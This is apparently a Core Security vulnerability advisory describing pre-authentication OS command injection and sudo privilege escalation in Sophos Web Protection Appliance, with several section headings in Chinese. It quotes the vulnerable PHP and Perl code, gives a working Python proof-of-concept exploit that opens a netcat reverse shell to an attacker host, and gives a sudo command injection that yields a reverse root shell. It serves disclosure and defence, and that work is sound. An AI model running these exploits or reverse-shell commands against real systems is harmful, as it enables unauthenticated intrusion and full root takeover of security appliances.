Core Security - Corelabs Advisory
http://corelabs.coresecurity.com/
 
Sophos Web Protection Appliance Multiple Vulnerabilities
 
 
1. *Advisory Information*
 
Title: Sophos Web Protection Appliance Multiple Vulnerabilities
Advisory URL:
http://www.coresecurity.com/advisories/sophos-web-protection-appliance-multiple-vulnerabilities
Date published: 2013-09-06
 
 
2. *缺陷信息*
 
Class: OS command injection [CWE-78], OS command injection [CWE-78]
Impact: Code execution, Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-4983, CVE-2013-4984
 
 
3. *缺陷概述*
 
Sophos Web Protection Appliance [1] provides advanced web malware
protection, URL filtering and content control (including scanning of
HTTPS traffic) in a Secure Web Gateway appliance. Sophos Web Protection
Appliance is available both as a hardware appliance and as a VMware
virtual appliance.
 
Multiple vulnerabilities have been found in Sophos Web Protection
Appliance that could allow an unauthenticated remote attacker to execute
arbitrary OS commands and escalate privileges to gain root permissions
within the appliance. The OS command injection vulnerability can be
exploited by remote unauthenticated attackers that can reach the web
interface of the appliance. The privilege escalation vulnerability
allows an attacker that already gained code execution on the appliance
to escalate privileges from the operating system user 'spiderman' to
'root'.
 
 
4. *影响版本*
 
   . Sophos Web Appliance v3.7.9 and earlier.
   . Sophos Web Appliance v3.8.0.
   . Sophos Web Appliance v3.8.1.
   . Other versions may be affected too but they were no checked.
 
5. *不影响版本*
 
   . Sophos Web Protection Appliance v3.7.9.1.
   . Sophos Web Protection Appliance v3.8.1.1.
 
6. *Vendor Information, Solutions and Workarounds*
 
Sophos published release notes and a knowledgebase article acknowledging
the issue and the assistance given by Core Security in tracking it down
[2][3].
 
 
 
 
8. *Technical Description / Proof of Concept Code*
 
  
 
 
8.1. *Pre-authentication OS command injection vulnerability*
 
[CVE-2013-4983] The file '/opt/ui/apache/htdocs/end-user/index.php' can
be accessed by unauthenticated users at
'https://<WPA_server>/end-user/index.php'. It also can be reached
through plain HTTP at 'http://<WPA_server>/index.php', since Apache's
'httpd.conf' configuration file defines a VirtualHost at port 80 having
DocumentRoot '/opt/ui/apache/htdocs/end-user/'. The 'run()' function in
this PHP script obtains the requested controller from its 'c' GET
parameter and calls the appropriate handler.
 
Available handlers are defined in
'/opt/ui/apache/htdocs/config/UsrSiteflow.php':
 
 
/-----
<?php
require_once('AbstractSiteFlow.php');
class UsrSiteflow extends AbstractSiteFlow {
    public function __construct() {
        $this->flow = array(
            "index" => "UsrBlocked.php",
            "blocked" => "UsrBlocked.php",        
            "invalid_certificate" => "UsrBlocked.php",
            "rss" => "UsrRss.php",
        );
    }
}
?>
-----/
 
That means that, for example, when requesting
'https://<WPA_server>/end-user/index.php?c=blocked', the
'UsrBlocked.php' script will be used to render the page. Looking at the
code in '/opt/ui/apache/htdocs/controllers/UsrBlocked.php':
 
/-----
<?php
[...]
    if(isset($_GET['action'])) {
    if($_GET['action'] == 'continue') {
                // use sblistpack to allow access
                $url = base64_decode($_POST['url']);
        $scheme = parse_url($url,PHP_URL_SCHEME);
        if($scheme == "https" &&
$this->config->read('wsa_proxy.https_scan') != 'yes') {
        $host = parse_url($url,PHP_URL_HOST);
        $args['url'] = $scheme . '://' . $host;
        } else {
        $args['url'] = $url;
                }
        if($_POST['args_reason'] == 'filetypewarn') {
        $key = $_POST['url'];
        $packer = '/opt/ws/bin/ftsblistpack';
        $value = $_POST['filetype'];
        }
        else {
            $key = $_POST['domain'];
            $packer = '/opt/ws/bin/sblistpack';
            $catParts = explode("|",$_POST['raw_category_id']);
            $value = $catParts[0];
        }
        if(strlen(trim($_POST['user'])) > 0)
            $user = base64_decode($_POST['user_encoded']);
        else
            $user = $_POST['client-ip'];
            if($user == '-') $user = $_POST['client-ip'];
 
            $key = escapeshellarg($key);
            $user = escapeshellarg($user);
            $value = escapeshellarg($value);
        shell_exec("$packer $key $user $value");
[...]
?>      
-----/
 
we can see that the Perl script '/opt/ws/bin/sblistpack' will be
executed when the following conditions are met:
 
   1. the 'action' GET parameter is set to 'continue', and
   2. the 'args_reason' POST parameter is set to anything different that
'filetypewarn';
Variables whose content is controlled by the user '($key, $user,
$value)' are properly escaped by using 'escapeshellarg()' before calling
'shell_exec()', making the UsrBlocked.php script not vulnerable to OS
command injection at that point. However, the invoked
'/opt/ws/bin/sblistpack' Perl script itself is vulnerable to OS command
injection, because its 'get_referers()' function doesn't escape the
first argument of the script before using it within a string that will
be executed as a command by using backticks:
 
 
/-----
sub get_referers {
    my $domain = shift;
 
    if(! -f $referer_list) {
        return ();
    }
 
    # handle multiple google domains (e.g. google.co.uk)
    if($domain =~ /^google\./) {
        $domain = 'google.com';
    }
 
    my $output = `/opt/ws/bin/kvlistquery $referer_list $domain`;
    chomp $output;
 
    if($output =~ /'(.*)'$/) {
        my $sites = $1;
        return split('\|', $sites);
    }
    return ();
}
 
-----/
 
so, by setting the 'domain' POST parameter to a value like:
 
 
/-----
http://example.com;/bin/nc -c /bin/bash 192.168.1.100 4444
-----/
 
an unauthenticated remote attacker can execute arbitrary OS commands on
the Sophos appliance with the privileges of the 'spiderman' operating
system user.
 
 
8.1.1. *Proof of Concept*
 
The following Python script exploits the pre-authentication OS command
injection vulnerability and executes '/bin/nc -c /bin/bash 192.168.1.100
4444' on a vulnerable Sophos Web Protection Appliance in order to gain a
reverse shell on attacker's machine at 192.168.1.100:
 
 
/-----
import sys
import httplib
 
def main():
    if len(sys.argv) < 2:
        print "Usage: sophos_wpa_command_injection.py <target_ip>"
        sys.exit(1)
 
    host = sys.argv[1]
    port = 443
 
    headers = {'Host': host,
               'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64;
rv:21.0) Gecko/20100101 Firefox/21.0',
               'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
               'Accept-Language': 'es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3',
               'Accept-Encoding': 'gzip, deflate',
               'Connection': 'keep-alive',
               'Content-Type': 'application/x-www-form-urlencoded'
               }
 
    body  = 'url=aHR0cDovL3d3dy5leGFtcGxlLmNvbQ%3d%3d'
    body +=
'&args_reason=something_different_than_filetypewarn&filetype=dummy&user=buffalo'
    body +=
'&user_encoded=YnVmZmFsbw%3d%3d&domain=http%3a%2f%2fexample.com%3b%2fbin%2fnc%20-c%20%2fbin%2fbash%20192.168.1.100%204444'
    body += '&raw_category_id=one%7ctwo%7cthree%7cfour'
 
    conn = httplib.HTTPSConnection(host, port)
    conn.request('POST',
'/end-user/index.php?c=blocked&action=continue', body=body, headers=headers)
     
    #Don't wait for the server response since it will be blocked by the
spawned shell
    conn.close()
    print 'Done.'
 
if __name__ == '__main__':
    main()      
-----/
 
 
8.2. *Privilege escalation through local OS command injection vulnerability*
 
[CVE-2013-4984] The Apache web server within the Sophos appliance runs
under the 'spiderman' user. The '/etc/sudoers' file defines a list of
Bash and Perl scripts that the 'spiderman' user can run with the 'sudo'
command:
 
 
/-----
spiderman ALL=NOPASSWD:/opt/sophox/bin/configure_interface, \
                       /opt/sophox/bin/sophox-register, \
                       /opt/sophox/bin/sophox-remote-assist, \
                       [...]
                       /opt/cma/bin/clear_keys.pl, \
                       [...]
-----/
 
The Perl script '/opt/cma/bin/clear_keys.pl' is vulnerable to OS command
injection, because its 'close_connections()' function:
 
 
/-----
sub close_connections {
    my ($client_ip, $signum, $signame) = @_;
 
    my @connections = `/bin/netstat -nap|grep ^tcp.*:22.*$client_ip.*EST`;
    foreach (@connections) {
        if(/ESTABLISHED\s*(\d+)\/sshd/) {
            my $conn_pid = $+;
            log_info("connection PID: $conn_pid; my PID: $$; my process
tree: " . join(', ', @my_process_tree));
            next if (grep {$_ == $conn_pid}  @my_process_tree);
            log_info("Attempting to stop process '$conn_pid' with
$signame");
            kill $signum, $conn_pid;
        }
    }
}      
-----/
 
doesn't escape the second argument of the script before using it within
a string that will be executed as a command by using backticks. Since it
can be run by the 'spiderman' user with the 'sudo' command, it can be
abused to gain root privileges within the appliance.
 
The following command can be executed within a compromised Web
Protection Appliance to escalate privileges from 'spiderman' user to
root and gain a reverse root shell on attacker's machine at 192.168.1.100:
 
 
/-----
$ sudo /opt/cma/bin/clear_keys.pl fakeclientfqdn ";/bin/nc -c /bin/bash
192.168.1.100 5555;" /fakedir
-----/